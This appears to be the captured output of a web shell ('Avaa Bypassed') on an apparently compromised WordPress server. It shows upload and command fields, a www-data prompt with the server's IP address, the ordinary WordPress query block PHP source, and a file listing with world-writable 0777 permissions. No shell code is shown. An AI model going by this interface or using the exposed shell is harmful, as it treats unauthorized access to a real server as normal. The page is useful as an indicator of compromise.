[ Avaa Bypassed ]




Upload:

Command:

www-data@18.189.188.228: ~ $
<?php
/**
 * Server-side rendering of the `core/query` block.
 *
 * @package WordPress
 */

/**
 * Modifies the static `core/query` block on the server.
 *
 * @since 6.4.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      The block instance.
 *
 * @return string Returns the modified output of the query block.
 */
function render_block_core_query( $attributes, $content, $block ) {
	if ( $attributes['enhancedPagination'] && isset( $attributes['queryId'] ) ) {
		$p = new WP_HTML_Tag_Processor( $content );
		if ( $p->next_tag() ) {
			// Add the necessary directives.
			$p->set_attribute( 'data-wp-interactive', true );
			$p->set_attribute( 'data-wp-navigation-id', 'query-' . $attributes['queryId'] );
			// Use context to send translated strings.
			$p->set_attribute(
				'data-wp-context',
				wp_json_encode(
					array(
						'core' => array(
							'query' => array(
								'loadingText' => __( 'Loading page, please wait.' ),
								'loadedText'  => __( 'Page Loaded.' ),
							),
						),
					),
					JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP
				)
			);
			$content = $p->get_updated_html();

			// Mark the block as interactive.
			$block->block_type->supports['interactivity'] = true;

			// Add a div to announce messages using `aria-live`.
			$html_tag = 'div';
			if ( ! empty( $attributes['tagName'] ) ) {
				$html_tag = esc_attr( $attributes['tagName'] );
			}
			$last_tag_position = strripos( $content, '</' . $html_tag . '>' );
			$content           = substr_replace(
				$content,
				'<div
					class="screen-reader-text"
					aria-live="polite"
					data-wp-text="context.core.query.message"
				></div>
				<div
					class="wp-block-query__enhanced-pagination-animation"
					data-wp-class--start-animation="selectors.core.query.startAnimation"
					data-wp-class--finish-animation="selectors.core.query.finishAnimation"
				></div>',
				$last_tag_position,
				0
			);
		}
	}

	$view_asset = 'wp-block-query-view';
	if ( ! wp_script_is( $view_asset ) ) {
		$script_handles = $block->block_type->view_script_handles;
		// If the script is not needed, and it is still in the `view_script_handles`, remove it.
		if (
			( ! $attributes['enhancedPagination'] || ! isset( $attributes['queryId'] ) )
			&& in_array( $view_asset, $script_handles, true )
		) {
			$block->block_type->view_script_handles = array_diff( $script_handles, array( $view_asset ) );
		}
		// If the script is needed, but it was previously removed, add it again.
		if ( $attributes['enhancedPagination'] && isset( $attributes['queryId'] ) && ! in_array( $view_asset, $script_handles, true ) ) {
			$block->block_type->view_script_handles = array_merge( $script_handles, array( $view_asset ) );
		}
	}

	$style_asset = 'wp-block-query';
	if ( ! wp_style_is( $style_asset ) ) {
		$style_handles = $block->block_type->style_handles;
		// If the styles are not needed, and they are still in the `style_handles`, remove them.
		if (
			( ! $attributes['enhancedPagination'] || ! isset( $attributes['queryId'] ) )
			&& in_array( $style_asset, $style_handles, true )
		) {
			$block->block_type->style_handles = array_diff( $style_handles, array( $style_asset ) );
		}
		// If the styles are needed, but they were previously removed, add them again.
		if ( $attributes['enhancedPagination'] && isset( $attributes['queryId'] ) && ! in_array( $style_asset, $style_handles, true ) ) {
			$block->block_type->style_handles = array_merge( $style_handles, array( $style_asset ) );
		}
	}

	return $content;
}

/**
 * Ensure that the view script has the `wp-interactivity` dependency.
 *
 * @since 6.4.0
 *
 * @global WP_Scripts $wp_scripts
 */
function block_core_query_ensure_interactivity_dependency() {
	global $wp_scripts;
	if (
		isset( $wp_scripts->registered['wp-block-query-view'] ) &&
		! in_array( 'wp-interactivity', $wp_scripts->registered['wp-block-query-view']->deps, true )
	) {
		$wp_scripts->registered['wp-block-query-view']->deps[] = 'wp-interactivity';
	}
}

add_action( 'wp_print_scripts', 'block_core_query_ensure_interactivity_dependency' );

/**
 * Registers the `core/query` block on the server.
 */
function register_block_core_query() {
	register_block_type_from_metadata(
		__DIR__ . '/query',
		array(
			'render_callback' => 'render_block_core_query',
		)
	);
}
add_action( 'init', 'register_block_core_query' );

/**
 * Traverse the tree of blocks looking for any plugin block (i.e., a block from
 * an installed plugin) inside a Query block with the enhanced pagination
 * enabled. If at least one is found, the enhanced pagination is effectively
 * disabled to prevent any potential incompatibilities.
 *
 * @since 6.4.0
 *
 * @param array $parsed_block The block being rendered.
 * @return string Returns the parsed block, unmodified.
 */
function block_core_query_disable_enhanced_pagination( $parsed_block ) {
	static $enhanced_query_stack   = array();
	static $dirty_enhanced_queries = array();
	static $render_query_callback  = null;

	$block_name = $parsed_block['blockName'];

	if (
		'core/query' === $block_name &&
		isset( $parsed_block['attrs']['enhancedPagination'] ) &&
		true === $parsed_block['attrs']['enhancedPagination'] &&
		isset( $parsed_block['attrs']['queryId'] )
	) {
		$enhanced_query_stack[] = $parsed_block['attrs']['queryId'];

		if ( ! isset( $render_query_callback ) ) {
			/**
			 * Filter that disables the enhanced pagination feature during block
			 * rendering when a plugin block has been found inside. It does so
			 * by adding an attribute called `data-wp-navigation-disabled` which
			 * is later handled by the front-end logic.
			 *
			 * @param string   $content  The block content.
			 * @param array    $block    The full block, including name and attributes.
			 * @return string Returns the modified output of the query block.
			 */
			$render_query_callback = static function ( $content, $block ) use ( &$enhanced_query_stack, &$dirty_enhanced_queries, &$render_query_callback ) {
				$has_enhanced_pagination =
					isset( $block['attrs']['enhancedPagination'] ) &&
					true === $block['attrs']['enhancedPagination'] &&
					isset( $block['attrs']['queryId'] );

				if ( ! $has_enhanced_pagination ) {
					return $content;
				}

				if ( isset( $dirty_enhanced_queries[ $block['attrs']['queryId'] ] ) ) {
					$p = new WP_HTML_Tag_Processor( $content );
					if ( $p->next_tag() ) {
						$p->set_attribute( 'data-wp-navigation-disabled', 'true' );
					}
					$content = $p->get_updated_html();
					$dirty_enhanced_queries[ $block['attrs']['queryId'] ] = null;
				}

				array_pop( $enhanced_query_stack );

				if ( empty( $enhanced_query_stack ) ) {
					remove_filter( 'render_block_core/query', $render_query_callback );
					$render_query_callback = null;
				}

				return $content;
			};

			add_filter( 'render_block_core/query', $render_query_callback, 10, 2 );
		}
	} elseif (
		! empty( $enhanced_query_stack ) &&
		isset( $block_name ) &&
		( ! str_starts_with( $block_name, 'core/' ) || 'core/post-content' === $block_name )
	) {
		foreach ( $enhanced_query_stack as $query_id ) {
			$dirty_enhanced_queries[ $query_id ] = true;
		}
	}

	return $parsed_block;
}

add_filter( 'render_block_data', 'block_core_query_disable_enhanced_pagination', 10, 1 );

Filemanager

Name Type Size Permission Actions
archives Folder 0777
audio Folder 0777
avatar Folder 0777
block Folder 0777
button Folder 0777
buttons Folder 0777
calendar Folder 0777
categories Folder 0777
code Folder 0777
column Folder 0777
columns Folder 0777
comment-author-name Folder 0777
comment-content Folder 0777
comment-date Folder 0777
comment-edit-link Folder 0777
comment-reply-link Folder 0777
comment-template Folder 0777
comments Folder 0777
comments-pagination Folder 0777
comments-pagination-next Folder 0777
comments-pagination-numbers Folder 0777
comments-pagination-previous Folder 0777
comments-title Folder 0777
cover Folder 0777
details Folder 0777
embed Folder 0777
file Folder 0777
footnotes Folder 0777
freeform Folder 0777
gallery Folder 0777
group Folder 0777
heading Folder 0777
home-link Folder 0777
html Folder 0777
image Folder 0777
latest-comments Folder 0777
latest-posts Folder 0777
legacy-widget Folder 0777
list Folder 0777
list-item Folder 0777
loginout Folder 0777
media-text Folder 0777
missing Folder 0777
more Folder 0777
navigation Folder 0777
navigation-link Folder 0777
navigation-submenu Folder 0777
nextpage Folder 0777
page-list Folder 0777
page-list-item Folder 0777
paragraph Folder 0777
pattern Folder 0777
post-author Folder 0777
post-author-biography Folder 0777
post-author-name Folder 0777
post-comments-form Folder 0777
post-content Folder 0777
post-date Folder 0777
post-excerpt Folder 0777
post-featured-image Folder 0777
post-navigation-link Folder 0777
post-template Folder 0777
post-terms Folder 0777
post-title Folder 0777
preformatted Folder 0777
pullquote Folder 0777
query Folder 0777
query-no-results Folder 0777
query-pagination Folder 0777
query-pagination-next Folder 0777
query-pagination-numbers Folder 0777
query-pagination-previous Folder 0777
query-title Folder 0777
quote Folder 0777
read-more Folder 0777
rss Folder 0777
search Folder 0777
separator Folder 0777
shortcode Folder 0777
site-logo Folder 0777
site-tagline Folder 0777
site-title Folder 0777
social-link Folder 0777
social-links Folder 0777
spacer Folder 0777
table Folder 0777
tag-cloud Folder 0777
template-part Folder 0777
term-description Folder 0777
text-columns Folder 0777
verse Folder 0777
video Folder 0777
widget-group Folder 0777
archives.php File 2.89 KB 0777
avatar.php File 5.51 KB 0777
block.php File 1.57 KB 0777
blocks-json.php File 159.82 KB 0777
calendar.php File 5.99 KB 0777
categories.php File 2.78 KB 0777
comment-author-name.php File 2.05 KB 0777
comment-content.php File 2.36 KB 0777
comment-date.php File 1.56 KB 0777
comment-edit-link.php File 1.64 KB 0777
comment-reply-link.php File 1.99 KB 0777
comment-template.php File 4.35 KB 0777
comments-pagination-next.php File 1.81 KB 0777
comments-pagination-numbers.php File 1.56 KB 0777
comments-pagination-previous.php File 1.61 KB 0777
comments-pagination.php File 1.13 KB 0777
comments-title.php File 2.67 KB 0777
comments.php File 6.47 KB 0777
cover.php File 2.45 KB 0777
file.php File 3.26 KB 0777
footnotes.php File 3.03 KB 0777
gallery.php File 4.84 KB 0777
heading.php File 1.23 KB 0777
home-link.php File 5.19 KB 0777
image.php File 14.36 KB 0777
index.php File 4.48 KB 0777
latest-comments.php File 4.88 KB 0777
latest-posts.php File 8.17 KB 0777
legacy-widget.php File 3.81 KB 0777
loginout.php File 1.35 KB 0777
navigation-link.php File 11.65 KB 0777
navigation-submenu.php File 8.81 KB 0777
navigation.php File 37.31 KB 0777
page-list-item.php File 342 B 0777
page-list.php File 13.14 KB 0777
pattern.php File 1.4 KB 0777
post-author-biography.php File 1.41 KB 0777
post-author-name.php File 1.71 KB 0777
post-author.php File 2.51 KB 0777
post-comments-form.php File 2.68 KB 0777
post-content.php File 2.07 KB 0777
post-date.php File 2.29 KB 0777
post-excerpt.php File 3.33 KB 0777
post-featured-image.php File 7.37 KB 0777
post-navigation-link.php File 4.38 KB 0777
post-template.php File 5.52 KB 0777
post-terms.php File 3.31 KB 0777
post-title.php File 2.02 KB 0777
query-no-results.php File 1.71 KB 0777
query-pagination-next.php File 3.6 KB 0777
query-pagination-numbers.php File 4.41 KB 0777
query-pagination-previous.php File 3.05 KB 0777
query-pagination.php File 1.11 KB 0777
query-title.php File 2.01 KB 0777
query.php File 7.16 KB 0777
read-more.php File 1.75 KB 0777
require-dynamic-blocks.php File 3.85 KB 0777
require-static-blocks.php File 536 B 0777
rss.php File 3.83 KB 0777
search.php File 23.94 KB 0777
shortcode.php File 697 B 0777
site-logo.php File 5.79 KB 0777
site-tagline.php File 994 B 0777
site-title.php File 1.73 KB 0777
social-link.php File 60.44 KB 0777
tag-cloud.php File 1.37 KB 0777
template-part.php File 9.5 KB 0777
term-description.php File 1.27 KB 0777
widget-group.php File 2.12 KB 0777